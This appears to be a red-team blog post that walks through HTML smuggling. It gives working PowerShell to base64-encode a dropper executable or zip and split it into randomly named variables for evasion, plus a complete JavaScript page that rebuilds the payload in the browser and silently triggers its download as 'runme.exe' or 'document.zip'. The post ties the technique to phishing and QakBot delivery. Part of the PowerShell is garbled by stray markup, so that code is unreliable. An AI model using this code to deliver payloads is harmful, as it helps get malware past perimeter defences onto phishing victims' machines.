HTML Smuggling
Intro to HTML Smuggling⌗
HTML smuggling, or T1027.006, is technically a defense evasion technique, although it is heavily used in conjuction with phishing initial access techniques such as T1566.001 and 1566.002. HTML smuggling through both have been seen in the wild, including delivering QakBot through URL and attachments used by NOBELIUM.
The smuggling part behind HTML smugging is referring to the fact that the payload is assembled on the client side rather than directly requested. The hope is that since it isn’t retrieving a remote resource then it’ll avoid passing the actual payload through the perimeter security, instead creating the decoded Javascript blob on the client side and downloading that.
Implementation⌗
Framework⌗
For building the base64 encoded payload on Windows, Powershell can be used fairly easily to base64 encode executables and zip files. From there, you can use that base64 encoded content in the HTML smuggling payload.
I used the Powershell below to start for creating the base64 encoded content.
$b64 = [Convert]::ToBase64String([IO.File]::ReadAllBytes("Documents\dropper\dropper.exe"))
$b64 | Out-File '.\Documents\html smuggling\payload.txt'
For the base content, I’ve followed Outflank’s article fairly heavily for the actual html page. <encoded file> should be replaced with the base64 encoded content generated from the Powershell above, and I’ve used a method separate from the blog post for decoding the base64 content in Javascript.
The rough structure that I’m using to trial it out and build off of is below.
<body>
<script>
var file = <encoded file>;
var characters = atob(file);
var numbers = new Array(characters.length);
for (let i = 0; i < characters.length; i++){
numbers[i] = characters.charCodeAt(i);
}
var decodedArray = new Uint8Array(numbers);
var blob = new Blob([decodedArray], {type: 'octet/stream'});
var filename = 'runme.exe';
if(window.navigator.msSaveOrOpenBlob) window.navigator.msSaveBlob(blob, filename);
else{
var a = document.createElement('a');
document.body.appendChild(a);
a.style = 'display: none';
var url = window.URL.createObjectURL(blob);
a.href = url;
a.download = filename;
a.click();
window.URL.revokeObjectURL(url);
}
</script>
<h1>hello</h1>
</body>
The page above will download and save a PE file as that’s what I’ve output it as. As well, trying to run it, Safe Run obviously catches it immediately, but it looks like it’s been successfully smuggled and built client-side.
For the actual executable, I was just testing it with a Golang loader that I’ve previously put together.
An example of what this looks like all put together is in a screenshot below.
From here, I was thinking that I’d focus on improving the page’s believability, but I was interested in how people were doing evasion or obsfucation specifically within HTML smuggling so that’s what I moved onto next.
Obsfucation⌗
For obsfucation and evasion, the right way to go looks like further encryption such as the RC4 encryption used in MDSec’s SharpShooter.
To play with it a little further without diving into payload encryption, I thought I’d just build a small script for building the base64 payload with string concatenation. Below is the PowerShell that I put together to do so, it takes the content from Documents\dropper\document.zip in this case, base64 encodes it, splits it into eight separate strings and creates variables for each. The resulting Javascript is then output to Documents\html smuggling\payload.txt in this case.
$b64 = [Convert]::ToBase64String([IO.File]::ReadAllBytes("Documents\dropper\document.zip"))
$threshold = [Math]::Round(($b64 | Measure-Object -Character).Characters / 8)
$div = [System.Collections.Generic.List[System.Object" position="center" style="border-radius: 8px;" >}}($b64 -split "(.{$threshold})" -ne '')
$indexDiv = [System.Collections.Generic.List[System.Object" position="center" style="border-radius: 8px;" >}}($b64 -split "(.{$threshold})" -ne '')
$count = ($div | Measure).Count
"" | Out-File '.\Documents\html smuggling\payload.txt'
$builderDict = @{}
Do {
$content = Get-Random -InputObject $div
$index = $div.IndexOf($content)
$builderIndex = $indexDiv.IndexOf($content)
$line = 'a'
$random = Get-Random -Max 1111
$line += $random
$line += ' = "'
$line += $content
$line += '";'
$line | Out-File -Append '.\Documents\html smuggling\payload.txt'
$div.RemoveAt($index)
$count -= 1
$varName = 'a'
$varName += $random
$builderDict.Add($builderIndex, $varName)
} Until ($count -eq 0)
$builder = 'var file = '
for($i = 0; $i -lt $builderDict.count; $i++){
$builder += $builderDict[$i]
if($i -eq $builderDict.count - 1){
$builder += ";"
} else {
$builder += " + "
}
}
$builder | Out-File -Append '.\Documents\html smuggling\payload.txt'
It works well with building the base64 content and delivering the ZIP as can be seen from the screenshot below.
The actual variables and concatenation in the page can be seen below as well.
The full file for HTML smuggling with the content generated from the PowerShell then looks something like below.
<body>
<script>
{b64 variables}
var file = a206 + a1041 + a447 + a364 + a1015 + a1108 + a289 + a798;
var characters = atob(file);
var numbers = new Array(characters.length);
for (let i = 0; i < characters.length; i++){
numbers[i] = characters.charCodeAt(i);
}
var decodedArray = new Uint8Array(numbers);
var blob = new Blob([decodedArray], {type: 'octet/stream'});
var filename = 'document.zip';
if(window.navigator.msSaveOrOpenBlob) window.navigator.msSaveBlob(blob, filename);
else{
var a = document.createElement('a');
document.body.appendChild(a);
a.style = 'display: none';
var url = window.URL.createObjectURL(blob);
a.href = url;
a.download = filename;
a.click();
window.URL.revokeObjectURL(url);
}
</script>
<h1>hello</h1>
</body>
The over all structure is still heavily based on Outflank’s article.
Resources:⌗
- https://www.cyfirma.com/outofband/html-smuggling-a-stealthier-approach-to-deliver-malware/
- https://stackoverflow.com/questions/42592518/encode-decode-exe-into-base64
- https://outflank.nl/blog/2018/08/14/html-smuggling-explained/
- https://stackoverflow.com/questions/16245767/creating-a-blob-from-a-base64-string-in-javascript
- https://github.com/Ma-Cr/offensive-go/blob/main/01-loader.go
- https://github.com/mdsecactivebreach/SharpShooter
- https://www.microsoft.com/en-us/security/blog/2021/11/11/html-smuggling-surges-highly-evasive-loader-technique-increasingly-used-in-banking-malware-targeted-attacks/
- https://attack.mitre.org/techniques/T1027/006/